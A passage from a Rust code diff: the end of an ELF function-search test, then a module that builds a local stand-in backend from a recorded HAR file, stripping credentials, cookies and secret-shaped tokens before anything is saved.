(0..205).map(|i| format!("beacon_{i:03}")).collect(); + let funcs: Vec<(&str, Vec)> = names.iter().map(|s| (s.as_str(), vec![0x55, 0x48, 0x89, 0xe5, 0x5d, 0xc3])).collect(); + let bytes = tk::program_facts::elf_with_functions(&funcs); + let (_, p) = setup(bytes); + let none = |_: u64| None; + let r = feature_paths(&p, "beacon_", false, &none); + assert_eq!(r.result["function_names"].as_array().unwrap().len(), 200, "capped at 200"); + assert_eq!(r.result["functions"].as_array().unwrap().len(), 200, "capped at 200"); + assert_eq!(r.result["truncated"], true); + assert!(r.summary.contains("205 matching function names"), "summary must report actual count: {}", r.summary); + assert!(r.summary.contains("205 functions involved"), "summary must report actual involved count: {}", r.summary); + assert!(r.limitations.iter().any(|l| l.code == "truncated"), "must include truncated limitation"); + } +} diff --git a/desktop/crates/analysis/src/standin.rs b/desktop/crates/analysis/src/standin.rs new file mode 100644 index 0000000..d093350 --- /dev/null +++ b/desktop/crates/analysis/src/standin.rs @@ -0,0 +1,1227 @@ +//! A stand-in backend, described from a recording of the original's network traffic. Someone +//! rebuilding a website's front end needs something for it to talk to; this says how the original +//! answered, route by route, so the same requests can be answered locally. +//! +//! This module only describes and decides. It has no sockets and no files: [`build`] turns a parsed +//! HAR into a versioned [`StandIn`], and [`answer`] picks what to send back for a request. +//! +//! Secrets don't go in the file. Request headers aren't kept at all. Cookie and credential response +//! headers, credential query values, secret-shaped values in bodies, and any value the caller names +//! are all dropped, and [`Dropped`] says how many. Bodies are otherwise kept: they're the answer. +//! +//! Replay is read-only. A write answers what was recorded and changes nothing later reads see. + +use crate::web_har::{CREDENTIAL_HEADERS, Redactor, is_credential_param, is_uuid, split_url}; +use craft_anything_formats::har::{self, Har, HarEntry, HarError}; +use craft_anything_formats::sourcemap::base64_decode; +use serde::{Deserialize, Serialize}; +use serde_json::Value; +use std::collections::{BTreeMap, BTreeSet}; + +/// The version of the file a [`StandIn`] is saved as (see docs/file-formats.md). +pub const STANDIN_VERSION: u32 = 1; + +/// Takes the place of a dropped secret. +const DROPPED: &str = "[dropped]"; +/// A path segment that varies, in a template; also a secret-shaped segment in a kept path. +const ID: &str = "{id}"; + +const MAX_SEGMENTS: usize = 32; +const MAX_HEADERS_PER_SAMPLE: usize = 64; +const MAX_HEADER_VALUE: usize = 4096; +const MAX_LISTED: usize = 64; +const MAX_HOSTS: usize = 256; +const MAX_DROPPED_NAMES: usize = 32; +const MAX_NEAREST: usize = 5; +/// Longest request body [`request_key`] reads. +const MAX_KEY_BODY: usize = 1024 * 1024; +const MAX_KEY_NAMES: usize = 16; +/// Hex this long is an id, not a word (`facade`, `decade`). +const MIN_HEX_ID: usize = 16; +/// Mixed letters and digits this long is an id (`a1b2…`), which short names rarely are. +const MIN_TOKEN_ID: usize = 20; +/// How many different last segments, each answered in the same shape, make a word-like id. +const MIN_SIBLINGS: usize = 3; + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct BuildOptions { + /// Values to drop wherever they appear, in every encoding. Only their count is recorded. + pub hidden_values: Vec, + /// Only these hosts (`api.example.com` or with a port). Empty keeps every host. + pub only_hosts: Vec, + /// Also keep pages, scripts, styles, pictures, fonts and media. Off: a rebuilt front end brings its own. + pub include_static: bool, + pub max_entries: usize, + pub max_routes: usize, + pub max_samples_per_route: usize, + /// A body larger than this is left out whole, because half of a JSON document is no answer. + pub max_body_bytes: usize, + pub max_total_body_bytes: usize, + /// The recording's file name (never its path) and digest, to say where this came from. + pub source_name: Option, + pub source_sha256: Option, +} + +impl Default for BuildOptions { + fn default() -> Self { + BuildOptions { + hidden_values: Vec::new(), + only_hosts: Vec::new(), + include_static: false, + max_entries: 500_000, + max_routes: 5_000, + max_samples_per_route: 16, + max_body_bytes: 4 * 1024 * 1024, + max_total_body_bytes: 256 * 1024 * 1024, + source_name: None, + source_sha256: None, + } + } +} + +/// Everything recorded about how the original answered. +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(default)] +pub struct StandIn { + pub version: u32, + pub source: StandInSource, + pub hosts: Vec, + /// Sorted by template, then method. + pub routes: Vec, + pub dropped: Dropped, + pub skipped: Skipped, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(default)] +pub struct StandInSource { + pub file_name: Option, + pub sha256: Option, + pub entries_read: u64, + pub entries_declared: u64, + /// The recording had more entries than were read. + pub cut_short: bool, +} + +/// One method and path shape, and how it answered. +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(default)] +pub struct StandInRoute { + pub method: String, + /// `/users/{id}/posts`. + pub template: String, + pub hosts: Vec, + pub statuses: Vec, + pub content_types: Vec, + pub query_names: Vec, + /// Requests recorded for this route, whether or not a sample was kept. + pub requests: u64, + /// In recording order. + pub samples: Vec, + pub samples_left_out: u64, +} + +/// One recorded answer, and the request it answered. +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(default)] +pub struct Sample { + pub path: String, + /// `a=1&b=2`: sorted, with credential values dropped. + pub query: String, + /// What told this request apart from others to the same URL: see [`request_key`]. + #[serde(skip_serializing_if = "Option::is_none")] + pub request_key: Option, + pub status: u16, + #[serde(skip_serializing_if = "Option::is_none")] + pub content_type: Option, + pub headers: Vec<(String, String)>, + #[serde(skip_serializing_if = "Option::is_none")] + pub text: Option, + /// A body that isn't text, as the recording held it. + #[serde(skip_serializing_if = "Option::is_none")] + pub base64: Option, + /// Why there's no body, when there isn't. + #[serde(skip_serializing_if = "Option::is_none")] + pub body_left_out: Option, + /// Recorded as 304 with the cached body; kept as a 200, since nothing here sends validators. + #[serde(skip_serializing_if = "std::ops::Not::not")] + pub was_not_modified: bool, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum BodyLeftOut { + /// The recording has no body for this response. + NotRecorded, + TooLarge, + /// The whole file reached its size limit. + FileLimit, + /// It's binary or marked base64 but couldn't be decoded. + Undecodable, + /// It held a secret that can't be cut out of it. + HeldSecret, +} + +/// What was left out so that it can't reach the file. Counts and header names, never values. +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(default)] +pub struct Dropped { + /// Credential or secret-looking headers, on requests and responses. + pub headers: u64, + pub header_names: Vec, + /// Entries in the recording's own cookie lists. + pub cookies: u64, + pub query_values: u64, + pub body_values: u64, + pub path_segments: u64, + pub url_user_info: u64, + /// Places a value the caller named was found. + pub hidden_values: u64, +} + +impl Dropped { + pub fn total(&self) -> u64 { + [self.headers, self.cookies, self.query_values, self.body_values, self.path_segments, self.url_user_info, self.hidden_values] + .iter() + .fold(0u64, |a, b| a.saturating_add(*b)) + } +} + +/// Recorded requests that aren't in the stand-in, by why. +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(default)] +pub struct Skipped { + /// `data:`, `blob:`, extension pages, WebSockets… + pub not_web: u64, + /// No usable response: the request failed or was cancelled. + pub no_response: u64, + pub static_files: u64, + pub other_hosts: u64, + pub beyond_route_limit: u64, +} + +// --------------------------------------------------------------------------------------------- +// Secrets + +/// A word or token that is a credential by its form alone, wherever it turns up. +pub fn looks_secret(t: &str) -> bool { + let has_digit = t.bytes().any(|b| b.is_ascii_digit()); + (t.starts_with("eyJ") && t.len() >= 20 && t.bytes().filter(|b| *b == b'.').count() == 2) + || (t.starts_with("sk-") && (t.len() >= 12 || (has_digit && t.len() >= 8))) + || [ + "sk_live_", + "sk_test_", + "rk_live_", + "rk_test_", + "whsec_", + "ghp_", + "gho_", + "ghs_", + "ghu_", + "github_pat_", + "xoxb-", + "xoxp-", + "xoxa-", + "xoxs-", + "glpat-", + ] + .iter() + .any(|p| t.starts_with(p) && t.len() > p.len() + 3) + || ((t.starts_with("AKIA") || t.starts_with("ASIA")) && t.len() >= 16 && t.bytes().all(|b| b.is_ascii_uppercase() || b.is_ascii_digit())) + || (t.starts_with("AIza") && t.len() >= 30) + || (t.starts_with("npm_") && t.len() >= 20) +} + +fn is_secret_header(name: &str) -> bool { + let l = name.to_ascii_lowercase(); + CREDENTIAL_HEADERS.contains(&l.as_str()) + || ["cookie", "auth", "token", "secret", "password", "credential", "csrf", "xsrf", "session", "signature", "api-key", "apikey", "-key"] + .iter() + .any(|w| l.contains(w)) +} + +/// Headers about the connection or the original's own security setup, which mean nothing (or the wrong +/// thing) coming from a stand-in on this computer. They're not secrets, so they aren't counted. +fn is_transport_header(name: &str) -> bool { + let l = name.to_ascii_lowercase(); + matches!( + l.as_str(), + "connection" + | "keep-alive" + | "te" + | "trailer" + | "transfer-encoding" + | "upgrade" + | "content-length" + | "content-encoding" + | "content-type" + | "host" + | "date" + | "alt-svc" + | "strict-transport-security" + | "content-security-policy" + | "content-security-policy-report-only" + | "expect-ct" + | "nel" + | "report-to" + | "reporting-endpoints" + | "public-key-pins" + | "server-timing" + | "via" + ) || l.starts_with("proxy-") + || l.starts_with("access-control-") + || l.starts_with(':') +} + +/// A JSON key whose text value is a credential. Narrower than for query strings, because `key`, +/// `code` and `session` are everyday names in a response body; those still get the shape check. +fn is_secret_json_key(k: &str) -> bool { + let l = k.to_ascii_lowercase().replace('-', "_"); + l == "authorization" + || l == "cookie" + || l == "set_cookie" + || l == "api_key" + || l == "apikey" + || l == "private_key" + || l.ends_with("token") + || l.contains("password") + || l.contains("passwd") + || l.contains("secret") + || l.contains("credential") +} + +struct Scrub { + /// Every spelling of every value the caller named. + needles: Vec, + dropped: Dropped, +} + +fn is_token_char(c: char) -> bool { + c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '~' | '+' | '/' | '=') +} + +/// What follows `Bearer` or `Basic` is a credential, unless it's an ordinary word ("Basic settings"). +fn is_scheme_credential(token: &str, basic: bool) -> bool { + let mut letters = token.chars(); + let first_is_any_case = letters.next().is_some_and(|c| c.is_ascii_alphabetic()); + let rest = letters.as_str(); + let word = first_is_any_case && (rest.bytes().all(|b| b.is_ascii_lowercase()) || (token.bytes().all(|b| b.is_ascii_uppercase()))); + token.len() >= 8 && !word && (!basic || token.bytes().all(|b| b.is_ascii_alphanumeric() || matches!(b, b'+' | b'/' | b'='))) +} + +/// `token` with any secret-shaped part after a `/` or `=` replaced, when it has one. +fn without_secret_parts(token: &str) -> Option { + if !token.split(['/', '=']).any(looks_secret) { + return None; + } + let part = |p: &str| if looks_secret(p) { DROPPED.to_string() } else { p.to_string() }; + let segment = |s: &str| s.split('=').map(part).collect::>().join("="); + Some(token.split('/').map(segment).collect::>().join("/")) +} + +/// Where a URL's user-info ends, given what follows its `//`. +fn user_info_end(after_slashes: &str) -> Option { + let end = after_slashes.find(|c: char| matches!(c, '/' | '?' | '#' | '"' | '\'' | '<' | '>' | '\\') || c.is_whitespace()).unwrap_or(after_slashes.len()); + after_slashes.get(..end)?.rfind('@').map(|at| at + 1) +} + +impl Scrub { + fn new(values: &[String]) -> Scrub { + Scrub { needles: Redactor::new(values).needles, dropped: Dropped::default() } + } + + fn holds_hidden(&self, s: &str) -> bool { + self.needles.iter().any(|n| s.contains(n.as_str())) + } + + fn hide(&mut self, s: String) -> String { + if !self.holds_hidden(&s) { + return s; + } + let mut out = s; + for n in &self.needles { + let found = out.matches(n.as_str()).count() as u64; + if found > 0 { + self.dropped.hidden_values = self.dropped.hidden_values.saturating_add(found); + out = out.replace(n.as_str(), DROPPED); + } + } + out + } + + /// `s` with the `user:password@` of every URL in it taken out. + fn user_info(&mut self, s: &str) -> String { + if !s.contains("://") || !s.contains('@') { + return s.to_string(); + } + let mut out = String::with_capacity(s.len()); + let mut rest = s; + while let Some(i) = rest.find("://") { + let (head, tail) = rest.split_at(i + 3); + out.push_str(head); + rest = match user_info_end(tail) { + Some(end) => { + self.dropped.url_user_info = self.dropped.url_user_info.saturating_add(1); + tail.get(end..).unwrap_or_default() + } + None => tail, + }; + } + out.push_str(rest); + out + } + + /// Replace secret-shaped tokens in free text, `name=value` credentials, and whatever follows + /// `Bearer` or `Basic`. + fn tokens(&mut self, s: &str) -> String { + self.scan(s, true) + } + + /// The same for a script, a style sheet or a page: `x.token=y` is code there, and so is any word + /// after `Basic`, so only forms that are credentials anywhere go, and `name=value` only in a URL. + fn code(&mut self, s: &str) -> String { + self.scan(s, false) + } + + fn scan(&mut self, s: &str, free_text: bool) -> String { + let s = self.user_info(s); + let mut out = String::with_capacity(s.len()); + let mut rest = s.as_str(); + let mut scheme: Option = None; + while let Some(start) = rest.find(is_token_char) { + out.push_str(rest.get(..start).unwrap_or_default()); + let tail = rest.get(start..).unwrap_or_default(); + let end = tail.find(|c: char| !is_token_char(c)).unwrap_or(tail.len()); + let token = tail.get(..end).unwrap_or_default(); + let in_url = out.ends_with('?') || (out.ends_with('&') && !out.ends_with("&&")) || out.ends_with("&"); + let named = (free_text || in_url) && token.split_once('=').is_some_and(|(k, v)| !v.is_empty() && (is_secret_json_key(k) || is_credential_param(k))); + let after_scheme = free_text && scheme.is_some_and(|basic| is_scheme_credential(token, basic)); + if named || looks_secret(token) || after_scheme { + self.dropped.body_values = self.dropped.body_values.saturating_add(1); + out.push_str(DROPPED); + } else if let Some(clean) = without_secret_parts(token) { + self.dropped.body_values = self.dropped.body_values.saturating_add(1); + out.push_str(&clean); + } else { + out.push_str(token); + } + scheme = if token.eq_ignore_ascii_case("bearer") { + Some(false) + } else if token.eq_ignore_ascii_case("basic") { + Some(true) + } else { + None + }; + rest = tail.get(end..).unwrap_or_default(); + } + out.push_str(rest); + out + } + + fn json(&mut self, v: &mut Value) { + match v { + Value::String(s) => { + let clean = self.tokens(s); + if clean != *s { + *s = clean; + } + } + Value::Array(a) => a.iter_mut().for_each(|x| self.json(x)), + Value::Object(o) => { + let before = o.len(); + o.retain(|k, _| !looks_secret(k)); + self.dropped.body_values = self.dropped.body_values.saturating_add((before - o.len()) as u64); + for (k, x) in o.iter_mut() { + match x { + Value::String(s) if !s.is_empty() && is_secret_json_key(k) => { + self.dropped.body_values = self.dropped.body_values.saturating_add(1); + *x = Value::String(DROPPED.into()); + } + _ => self.json(x), + } + } + } + _ => {} + } + } + + /// A path with secret-shaped or caller-named segments replaced by [`ID`]. + fn path(&mut self, path: &str, count: bool) -> String { + let segs: Vec = path + .split('/') + .map(|seg| { + if self.holds_hidden(seg) { + if count { + self.dropped.hidden_values = self.dropped.hidden_values.saturating_add(1); + } + ID.to_string() + } else if looks_secret(seg) { + if count { + self.dropped.path_segments = self.dropped.path_segments.saturating_add(1); + } + ID.to_string() + } else { + seg.to_string() + } + }) + .collect(); + segs.join("/") + } + + /// A query's names and canonical text: credential values dropped, pairs sorted. + fn query(&mut self, pairs: &[(String, String)], count: bool) -> (Vec, String) { + let mut names = Vec::new(); + let mut kept = Vec::new(); + for (k, v) in pairs { + if self.holds_hidden(k) { + if count { + self.dropped.hidden_values = self.dropped.hidden_values.saturating_add(1); + } + continue; + } + names.push(k.clone()); + if v.is_empty() { + kept.push(k.clone()); + } else if is_credential_param(k) || is_secret_json_key(k) || looks_secret(v) || self.holds_hidden(v) { + if count { + if self.holds_hidden(v) { + self.dropped.hidden_values = self.dropped.hidden_values.saturating_add(1); + } else { + self.dropped.query_values = self.dropped.query_values.saturating_add(1); + } + } + kept.push(format!("{k}={DROPPED}")); + } else { + kept.push(format!("{k}={v}")); + } + } + kept.sort(); + names.sort(); + names.dedup(); + (names, kept.join("&")) + } + + fn note_header(&mut self, name: &str) { + self.dropped.headers = self.dropped.headers.saturating_add(1); + let l = name.to_ascii_lowercase(); + if l.len() <= 64 + && !self.holds_hidden(&l) + && !looks_secret(&l) + && self.dropped.header_names.len() < MAX_DROPPED_NAMES + && !self.dropped.header_names.contains(&l) + { + self.dropped.header_names.push(l); + } + } + + /// The response headers worth sending again, none of them secret. + fn headers(&mut self, headers: &[(String, String)]) -> Vec<(String, String)> { + let mut kept = Vec::new(); + for (k, v) in headers { + if is_secret_header(k) { + self.note_header(k); + continue; + } + if is_transport_header(k) + || kept.len() >= MAX_HEADERS_PER_SAMPLE + || v.len() > MAX_HEADER_VALUE + || k.bytes().any(|b| b.is_ascii_control()) + || v.bytes().any(|b| b.is_ascii_control()) + { + continue; + } + // A redirect is still a redirect without its credentials; any other header that held + // a secret-shaped value is left out whole. + let is_location = k.eq_ignore_ascii_case("location"); + let before = self.dropped.body_values; + let value = if is_location { self.location(v) } else { self.tokens(v) }; + let held_secret = self.dropped.body_values != before && !is_location; + if held_secret || self.holds_hidden(&value) || self.holds_hidden(k) { + // Counted as a header, not a body value. + self.dropped.body_values = before; + self.note_header(k); + continue; + } + kept.push((k.clone(), value)); + } + kept + } + + /// Where a redirect goes: its query's credentials dropped, and any user-info with them. + fn location(&mut self, url: &str) -> String { + // `//user:password@host/…`: the one form the scan for `://` doesn't see. + let relative = url.strip_prefix("//").and_then(|r| { + let end = user_info_end(r)?; + Some(format!("//{}", r.get(end..)?)) + }); + if relative.is_some() { + self.dropped.url_user_info = self.dropped.url_user_info.saturating_add(1); + } + let url = relative.as_deref().unwrap_or(url); + let Some((base, query)) = url.split_once('?') else { return self.tokens(url) }; + let pairs: Vec<(String, String)> = query + .split('&') + .take(200) + .filter(|p| !p.is_empty()) + .map(|p| p.split_once('=').map_or((p.to_string(), String::new()), |(k, v)| (k.to_string(), v.to_string()))) + .collect(); + let (_, clean) = self.query(&pairs, true); + format!("{}?{clean}", self.tokens(base)) + } +} + +/// A request's path with secret-shaped segments replaced, fit to keep in a log of what was asked for. +pub fn safe_path(path: &str) -> String { + Scrub::new(&[]).path(path, false) +} + +// --------------------------------------------------------------------------------------------- +// What tells requests to one URL apart + +/// What tells this request apart from others to the same URL, without keeping any of its values: the +/// GraphQL operations it names (`op:GetUser`), or the sorted names in a JSON body (`keys:a,b`). +pub fn request_key(body: &[u8]) -> Option { + if body.is_empty() || body.len() > MAX_KEY_BODY { + return None; + } + let v: Value = serde_json::from_slice(body).ok()?; + let one = |o: &serde_json::Map| -> Option { + if let Some(n) = o.get("operationName").and_then(Value::as_str).filter(|n| !n.is_empty()) { + return Some(n.to_string()); + } + let doc = craft_anything_js::api_ops::read_document(o.get("query")?.as_str()?, true)?; + doc.operations.into_iter().find_map(|d| d.name) + }; + match &v { + Value::Object(o) => match one(o) { + Some(n) => Some(format!("op:{n}")), + None if o.is_empty() => None, + None => { + // serde_json's maps are sorted, so the same names always give the same key. + let names: Vec<&str> = o.keys().take(MAX_KEY_NAMES).map(String::as_str).filter(|k| !looks_secret(k)).collect(); + Some(format!("keys:{}", names.join(","))) + } + }, + // A batch of GraphQL operations. + Value::Array(a) => { + let names: Vec = a.iter().take(MAX_KEY_NAMES).filter_map(|x| x.as_object().and_then(one)).collect(); + (!names.is_empty()).then(|| format!("op:{}", names.join(","))) + } + _ => None, + } +} + +// --------------------------------------------------------------------------------------------- +// Path templates + +/// A path segment that's an id by its form alone: a number, UUID, long hex, or a long mix of letters +/// and digits. +pub fn is_id_segment(s: &str) -> bool { + if s.is_empty() { + return false; + } + let (mut digits, mut letters, mut other) = (false, false, false); + for b in s.bytes() { + match b { + b'0'..=b'9' => digits = true, + b'a'..=b'z' | b'A'..=b'Z' => letters = true, + b'-' | b'_' => {} + _ => other = true, + } + } + if other { + return false; + } + (digits && !letters && s.bytes().all(|b| b.is_ascii_digit())) + || is_uuid(s) + || (s.len() >= MIN_HEX_ID && digits && s.bytes().all(|b| b.is_ascii_hexdigit())) + || (s.len() >= MIN_TOKEN_ID && digits && letters) +} + +/// Words a path has by design, under which a different word is a different resource. +fn is_namespace(seg: &str) -> bool { + let l = seg.to_ascii_lowercase(); + matches!( + l.as_str(), + "" | "api" + | "apis" + | "rest" + | "rpc" + | "graphql" + | "gql" + | "trpc" + | "public" + | "internal" + | "services" + | "service" + | "latest" + | "stable" + | "beta" + | "alpha" + | "{id}" + ) || (l.len() >= 2 && l.starts_with('v') && l.bytes().skip(1).all(|b| b.is_ascii_digit() || b == b'.')) +} + +/// The JSON shape of a body, for telling whether siblings answer alike: the names at its top, or in its +/// first item. +fn body_shape(text: Option<&str>) -> Option { + let v: Value = serde_json::from_str(text?).ok()?; + let names = |o: &serde_json::Map| o.keys().take(64).map(String::as_str).collect::>().join(","); + match &v { + Value::Object(o) if !o.is_empty() => Some(format!("o:{}", names(o))), + Value::Array(a) => a.first().and_then(Value::as_object).filter(|o| !o.is_empty()).map(|o| format!("a:{}", names(o))), + _ => None, + } +} + +/// One recorded request on its way to a route. +struct Seen<'a> { + entry: &'a HarEntry, + method: String, + host: String, + /// The path as kept (secret segments replaced). + path: String, + /// The path's segments, ids replaced: becomes the template. + segs: Vec, + query_names: Vec, + query: String, + /// Decoded body text and its shape. + shape: Option, +} + +/// Replace segments that differ between otherwise identical paths when the recording shows they're +/// values, not names. Two different values with the same text after them (`/users/a/posts`, +/// `/users/b/posts`) are enough; as the last segment it takes [`MIN_SIBLINGS`] values that all answer +/// in the same shape. The first segment, one under a namespace like `/api`, and anything with a dot +/// in it stay as they are, so `/users` and `/posts`, or `/api/users` and `/api/posts`, stay apart. +fn merge_siblings(seen: &mut [Seen<'_>]) { + let longest = seen.iter().map(|s| s.segs.len()).max().unwrap_or(0).min(MAX_SEGMENTS); + for pos in (1..longest).rev() { + let mut groups: BTreeMap<(String, usize, String), Vec> = BTreeMap::new(); + for (i, s) in seen.iter().enumerate() { + if s.segs.len() <= pos || s.segs.len() > MAX_SEGMENTS { + continue; + } + let mut key = String::new(); + for (j, seg) in s.segs.iter().enumerate() { + if j != pos { + key.push_str(seg); + } + key.push('/'); + } + groups.entry((s.method.clone(), s.segs.len(), key)).or_default().push(i); + } + for ((_, len, _), members) in groups { + let Some(first) = members.first().and_then(|i| seen.get(*i)) else { continue }; + if first.segs.get(pos - 1).is_none_or(|p| is_namespace(p)) { + continue; + } + let values: BTreeSet<&str> = members.iter().filter_map(|i| seen.get(*i)?.segs.get(pos)).map(String::as_str).filter(|v| *v != ID).collect(); + if values.iter().any(|v| v.is_empty() || v.contains('.')) { + continue; + } + let has_suffix = pos + 1 < len; + let same_shape = || { + let mut shapes = members.iter().filter_map(|i| seen.get(*i)).map(|s| s.shape.as_deref()); + let first = shapes.next().flatten(); + first.is_some() && shapes.all(|x| x == first) + }; + let merge = if has_suffix { values.len() >= 2 } else { values.len() >= MIN_SIBLINGS && same_shape() }; + if merge { + for i in &members { + if let Some(seg) = seen.get_mut(*i).and_then(|s| s.segs.get_mut(pos)) { + *seg = ID.to_string(); + } + } + } + } + } +} + +// --------------------------------------------------------------------------------------------- +// Building + +fn is_static(e: &HarEntry) -> bool { + if let Some(t) = e.resource_type.as_deref().map(str::to_ascii_lowercase) { + return matches!(t.as_str(), "document" | "script" | "stylesheet" | "image" | "font" | "media" | "manifest" | "texttrack" | "other-static"); + } + let mime = e.response.mime.as_deref().unwrap_or_default().to_ascii_lowercase(); + ["text/html", "text/css", "javascript", "ecmascript", "font/", "image/", "audio/", "video/", "application/wasm"].iter().any(|m| mime.contains(m)) +} + +fn host_wanted(host: &str, only: &[String]) -> bool { + only.is_empty() || only.iter().any(|h| h.eq_ignore_ascii_case(host) || host.split(':').next().is_some_and(|name| h.eq_ignore_ascii_case(name))) +} + +/// Parse a HAR and describe it. A file that isn't a HAR is an error; odd entries in one are skipped. +pub fn build_from_bytes(json: &[u8], opts: &BuildOptions) -> Result { + Ok(build(&har::parse(json, opts.max_entries)?, opts)) +} + +/// Describe a parsed recording. +pub fn build(har: &Har, opts: &BuildOptions) -> StandIn { + let mut scrub = Scrub::new(&opts.hidden_values); + let mut skipped = Skipped::default(); + let mut seen: Vec> = Vec::new(); + for e in &har.entries { + // What's dropped from a request counts even if the request goes no further. + for (k, _) in &e.request.headers { + if is_secret_header(k) { + scrub.note_header(k); + } + } + scrub.dropped.cookies = scrub.dropped.cookies.saturating_add(e.request.cookie_names.len() as u64).saturating_add(e.response.cookie_names.len() as u64); + let (scheme, host, path, pairs, user_info) = split_url(&e.request.url); + if !matches!(scheme.as_str(), "http" | "https") || host.is_empty() { + skipped.not_web = skipped.not_web.saturating_add(1); + continue; + } + if !(200..=599).contains(&e.response.status) { + skipped.no_response = skipped.no_response.saturating_add(1); + continue; + } + if !host_wanted(&host, &opts.only_hosts) { + skipped.other_hosts = skipped.other_hosts.saturating_add(1); + continue; + } + if !opts.include_static && is_static(e) { + skipped.static_files = skipped.static_files.saturating_add(1); + continue; + } + let method = e.request.method.to_ascii_uppercase(); + if method.is_empty() || method.len() > 32 || !method.bytes().all(|b| b.is_ascii_alphabetic()) { + skipped.no_response = skipped.no_response.saturating_add(1); + continue; + } + if user_info { + scrub.dropped.url_user_info = scrub.dropped.url_user_info.saturating_add(1); + } + let host = if scrub.holds_hidden(&host) { DROPPED.to_string() } else { host }; + let path = scrub.path(&path, true); + let (query_names, query) = scrub.query(&pairs, true); + let segs: Vec = path.split('/').map(|s| if is_id_segment(s) { ID.to_string() } else { s.to_string() }).collect(); + let shape = if (200..300).contains(&e.response.status) + && e.response.encoding.is_none() + && e.response.text.as_ref().is_some_and(|t| t.len() <= opts.max_body_bytes) + { + body_shape(e.response.text.as_deref()) + } else { + None + }; + seen.push(Seen { entry: e, method, host, path, segs, query_names, query, shape }); + } + merge_siblings(&mut seen); + + let mut routes: BTreeMap<(String, String), StandInRoute> = BTreeMap::new(); + let mut hosts: BTreeSet = BTreeSet::new(); + let mut body_bytes = 0usize; + for s in &seen { + let template = s.segs.join("/"); + let key = (template.clone(), s.method.clone()); + if !routes.contains_key(&key) && routes.len() >= opts.max_routes { + skipped.beyond_route_limit = skipped.beyond_route_limit.saturating_add(1); + continue; + } + if hosts.len() < MAX_HOSTS { + hosts.insert(s.host.clone()); + } + let route = routes.entry(key).or_insert_with(|| StandInRoute { method: s.method.clone(), template, ..Default::default() }); + route.requests = route.requests.saturating_add(1); + push_unique_sorted(&mut route.hosts, &s.host); + for n in &s.query_names { + push_unique_sorted(&mut route.query_names, n); + } + if route.samples.len() >= opts.max_samples_per_route { + route.samples_left_out = route.samples_left_out.saturating_add(1); + // Still read its headers, so what's dropped is counted the same however many are kept. + let _ = scrub.headers(&s.entry.response.headers); + note_status(route, u16::try_from(s.entry.response.status).unwrap_or(500), s.entry.response.mime.as_deref(), &mut scrub); + continue; + } + let sample = make_sample(s, opts, &mut scrub, &mut body_bytes); + note_status(route, sample.status, sample.content_type.as_deref(), &mut scrub); + // A request polled over and over gives the same answer many times; one is enough. + let repeat = route.samples.last().is_some_and(|p| { + p.path == sample.path + && p.query == sample.query + && p.request_key == sample.request_key + && p.status == sample.status + && p.text == sample.text + && p.base64 == sample.base64 + }); + if repeat { + body_bytes = body_bytes.saturating_sub(sample.text.as_ref().map_or(0, String::len) + sample.base64.as_ref().map_or(0, String::len)); + } else { + route.samples.push(sample); + } + } + + StandIn { + version: STANDIN_VERSION, + source: StandInSource { + file_name: opts.source_name.clone().filter(|n| !scrub.holds_hidden(n)), + sha256: opts.source_sha256.clone().filter(|d| !opts.hidden_values.contains(d)), + entries_read: har.entries.len() as u64, + entries_declared: har.declared_entries as u64, + cut_short: har.truncated, + }, + hosts: hosts.into_iter().collect(), + routes: routes.into_values().collect(), + dropped: scrub.dropped, + skipped, + } +} + +fn push_unique_sorted(list: &mut Vec, value: &str) { + if list.len() < MAX_LISTED + && let Err(i) = list.binary_search_by(|x| x.as_str().cmp(value)) + { + list.insert(i, value.to_string()); + } +} + +fn clean_mime(mime: Option<&str>, scrub: &mut Scrub) -> Option { + let m = mime?.trim(); + if m.is_empty() || m.len() > 200 || m.bytes().any(|b| b.is_ascii_control()) || scrub.holds_hidden(m) { + return None; + } + Some(m.to_string()) +} + +fn note_status(route: &mut StandInRoute, status: u16, mime: Option<&str>, scrub: &mut Scrub) { + if let Err(i) = route.statuses.binary_search(&status) + && route.statuses.len() < MAX_LISTED + { + route.statuses.insert(i, status); + } + if let Some(m) = clean_mime(mime, scrub) { + push_unique_sorted(&mut route.content_types, &m); + } +} + +fn make_sample(s: &Seen<'_>, opts: &BuildOptions, scrub: &mut Scrub, body_bytes: &mut usize) -> Sample { + let r = &s.entry.response; + let mut sample = Sample { + path: s.path.clone(), + query: s.query.clone(), + request_key: s.entry.request.post.as_ref().and_then(|p| p.text.as_deref()).and_then(|t| request_key(t.as_bytes())).filter(|k| !scrub.holds_hidden(k)), + status: u16::try_from(r.status).unwrap_or(500), + content_type: clean_mime(r.mime.as_deref(), scrub), + headers: scrub.headers(&r.headers), + ..Default::default() + }; + if let Some(url) = r.redirect_url.as_deref() + && !sample.headers.iter().any(|(k, _)| k.eq_ignore_ascii_case("location")) + && !url.bytes().any(|b| b.is_ascii_control()) + { + let clean = scrub.location(url); + if !scrub.holds_hidden(&clean) { + sample.headers.push(("Location".into(), clean)); + } + } + let Some(raw) = r.text.as_deref().filter(|t| !t.is_empty()) else { + sample.body_left_out = Some(BodyLeftOut::NotRecorded); + return sample; + }; + if raw.len() > opts.max_body_bytes.saturating_mul(2) { + sample.body_left_out = Some(BodyLeftOut::TooLarge); + return sample; + } + let is_base64 = r.encoding.as_deref().is_some_and(|e| e.eq_ignore_ascii_case("base64")); + let (text, binary): (Option, Option<&str>) = if is_base64 { + let Some(bytes) = base64_decode(raw) else { + sample.body_left_out = Some(BodyLeftOut::Undecodable); + return sample; + }; + if bytes.len() > opts.max_body_bytes { + sample.body_left_out = Some(BodyLeftOut::TooLarge); + return sample; + } + match String::from_utf8(bytes) { + Ok(t) => (Some(t), None), + Err(e) => { + // Can't be edited in place, so a named secret or a key in it costs the whole body. + let bytes = e.as_bytes(); + let contains = |needle: &[u8]| !needle.is_empty() && bytes.windows(needle.len()).any(|w| w == needle); + if scrub.needles.iter().any(|n| contains(n.as_bytes())) || contains(b"PRIVATE 